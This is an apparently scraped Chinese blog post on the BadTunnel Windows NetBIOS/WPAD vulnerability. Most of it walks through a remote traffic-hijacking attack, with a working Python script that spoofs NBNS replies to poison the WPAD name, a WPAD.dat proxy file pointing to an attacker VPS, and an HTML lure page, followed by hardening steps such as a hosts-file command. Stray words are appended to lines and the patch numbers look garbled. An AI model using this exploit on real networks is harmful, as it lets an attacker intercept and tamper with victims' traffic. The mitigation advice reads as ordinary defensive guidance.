Windows又被曝出嚴重漏洞了!在近日發佈的6月安全更新中,微軟剛剛修復了一個高危漏洞。它能夠影響從Windows 95到Windows10全部版本的操做系統。據瞭解,該漏洞由騰訊玄武實驗室發現,並被命名爲BadTunnel。html
BadTunnel多是Windows史上影響範圍最普遍的漏洞。尤爲是使用微軟再也不提供安全支持系統(如Windows XP)的用戶,有可能面臨被祕密監控的風險。python
BadTunnel漏洞是Windows原始設計的問題,它能實現近乎完美的靜默運行。當受害者點擊一個網絡鏈接,或是插入USB設備時,黑客就能劫持用戶的全部網絡使用,併成爲用戶電腦的「老大哥」。git
更糟糕的是,即便安全軟件開啓了主動防護功能,也沒法檢測到該攻擊。發現該漏洞的研究人員稱,黑客能經過Windows10 Edge瀏覽器、Internet Explorer、Office、運行於Windows上的第三方軟件,甚至網絡服務器和可移動設備(如U盤)入侵用戶電腦。github
簡單來說,黑客能夠將他們的電腦假裝成網絡設備,如本地的打印機服務器,或是文件服務器。黑客不只能夠監視非加密網絡,還能夠攔截和篡改Windows Update的下載內容。windows
黑客還能夠利用受害訪問過的網頁,實施進一步攻擊。舉例來說,經過向網頁緩存添加代碼,黑客能夠確保目標用戶和黑客之間的「隧道」處於打通狀態。瀏覽器
研究人員表示,這或許是歷史上第一次,漏洞能夠跨越網絡防火牆和NAT等設備,讓黑客能經過互聯網攻擊內網設備。緩存
下面模擬下真實的遠程內網劫持攻擊:
測試環境:本地一臺內網windows主機 + 遠程一臺阿里雲VPS
測試目標:本地用瀏覽器打開構造好的網頁後 完成將本地網絡流量劫持到遠程的VPS主機上
說下具體的攻擊步驟:
0x1 本地主機
本地不要作任何設置 只要保證IE瀏覽器的自動檢測代理爲默認開啓就行
看下本地的環境吧
主機經過無線路由上網 處於內網之中
NetBois 緩存也已清空
0x2 遠程主機
VPS上也不用作其餘設置 只要準備兩個文件就好了
第一個文件固然是 利用代碼 我已經寫好了 內容以下:
安全
__author__ = 'T3rry' # Poison a system's NetBIOS resolver for the WPAD name from outside NAT # Usage: python badtunnel.py wpad_server_ip from socket import * import sys import binascii import time HOST = '0.0.0.0' PORT = 137 BUFSIZE = 1024 ADDR = (HOST,PORT) TRANSACTION_ID_BLOCK=100 NB_RESPONSE_PACKET=''' FFFF 8500 0000000100000000 20464846414542454543414341434143414341434143414341434143414341414100 0020 0001 00FFFFFF 0006 0000 FFFFFFFF ''' PAYLOAD = binascii.a2b_hex((NB_RESPONSE_PACKET.replace('\t','').replace('\n','').replace(' ',''))) def usage(): print ("usage: python badtunnel.py wpad_server_ip") def parse_nbns(data): transaction_id=data[:2] print "TransactionId :", hex(ord(transaction_id[0])),hex(ord(transaction_id[1])) type= data[-4:-2] if type=='\x00\x20': print ("Type is: NB Query") elif type=='\x00\x21': print ("Type is: NBStat Query") return transaction_id def convert_ipv4_address(ip): ip_addr = ip packed_ip_addr = inet_aton(ip_addr) unpacked_ip_addr = inet_ntoa(packed_ip_addr) return binascii.hexlify(packed_ip_addr) if __name__ == "__main__": wpad_server_ip='' if(len(sys.argv) < 2 ): usage() exit() else: wpad_server_ip= binascii.a2b_hex(convert_ipv4_address(sys.argv[1])) badTunnel = socket(AF_INET, SOCK_DGRAM) badTunnel.bind(ADDR) while(True): transaction_id=0 print ('Waiting for message...') data, addr = badTunnel.recvfrom(BUFSIZE) print ("[*] NetBIOS request from %s:%s..."%(addr[0],addr[1])) transaction_id=parse_nbns(data) if(transaction_id>0): index=binascii.b2a_hex(transaction_id) print ("Start sending payload data...") for i in range(int(index,16)-TRANSACTION_ID_BLOCK,int(index,16)+TRANSACTION_ID_BLOCK): data=list(PAYLOAD) id=binascii.a2b_hex(hex(i)[2:]) data[0] =id[0] data[1] =id[1] data[58]=wpad_server_ip[0] data[59]=wpad_server_ip[1] data[60]=wpad_server_ip[2] data[61]=wpad_server_ip[3] payload=''.join(data) badTunnel.sendto(payload,addr) time.sleep(0.02) print ("Send payload data finished ") badTunnel.close()
第二個文件就是 WPAD.dat 文件 內容大概以下: 服務器
function FindProxyForURL(url, host) { // URLs within this network are accessed directly if (isInNet(host, "127.0.0.1", "255.255.255.0")) { return "DIRECT"; } return "PROXY x.x.x.x:8080; DIRECT"; }
其中x.x.x.x 爲VPS的外網IP 將配置好的文件上傳到Web服務器的 根目錄下
對了 爲了順利的劫持流量 還要準備一個 http代理腳本 這個我就不貼了 網上一大堆
而後 分別運行攻擊腳本和代理腳本
0x3 流量劫持
全部的準備工做已完成 下面就是用瀏覽器打開 構造好的html文件 其實文件的內容很簡單 貼下吧 網絡
<html> <img src="\\x.x.x.x\BadTunnel"> <img src="http://WPAD/wpad.dat"> </html>
其中x.x.x.x 爲VPS的公網IP
瀏覽器本地打開網頁
接下來咱們看看VPS上的反應
咱們看到攻擊腳本檢測到了請求 併發送了僞造的數據包
同時發現Web日誌裏有了WPAD.dat 文件的下載記錄
有興趣的同窗能夠本身用WireShark抓包看看數據包的交互過程
咱們先本地查下看Netbois緩存記錄
發現NetBois的緩存已經被成功寫入
到了這裏說明攻擊已經成功了 咱們打開瀏覽器驗證下
查下IP 發現顯示爲VPS的地址
再到vps看下 發現剛纔的瀏覽器的訪問請求已經被記錄了下來
上面就是完整的利用過程 有什麼問題能夠一塊兒探討 涉及到的代碼 這裏
修復建議:
若是你用的是Windows系統,請參照如下方案加固本身電腦,有能力的話仍是打上補丁一勞永逸。
方案1 : 對無需訪問Windows網絡共享服務的我的用戶來講,能夠考慮禁用NetBIOS over TCP/IP,具體爲:網絡鏈接 >> 本地鏈接或無線網絡鏈接 > Internet協議版本4 (TCP/IPv4} >> 雙擊打幵屬性 >> 高級 >> WINS選項卡 >> 選擇【禁用TCP/IP的NetBIOS】
方案2 : IE >> internet選項 >> 鏈接選項頁 >> 局域網設置 >> 關閉【自動檢測設置】
方案3 : 修改 系統盤:\windows\system32\drivers\etc\hosts文件,添加一條記錄127.0.0.1 WPAD
方案4 : 安裝MS1WJ63和MS01WJ77補丁
對企業來講 : 能夠在邊界防火牆上關閉內部網絡和互聯網之間的137/UDP通訊。
可是若是暫時沒法升級,能夠先參照其餘方案作臨時措施。其中方案3最簡單易行,簡化一下,其實一條CMD命令就能夠搞定。
如下爲WIN七、WIN10的執行方法。
方案3
> WIN7執行方法 <
開始 >> 命令提示符(右鍵) >> 以管理員身份運行 >> 輸入echo. >> %WINDIR%\system32\drivers\etc\hosts & echo 127.0.0.1 WPAD >> %WINDIR%\system32\drivers\etc\hosts
> WIN10執行方法<
左下角右鍵 >> 命令提示符(管理員)>> 輸入echo. >> %WINDIR%\system32\drivers\etc\hosts & echo 127.0.0.1 WPAD >> %WINDIR%\system32\drivers\etc\hosts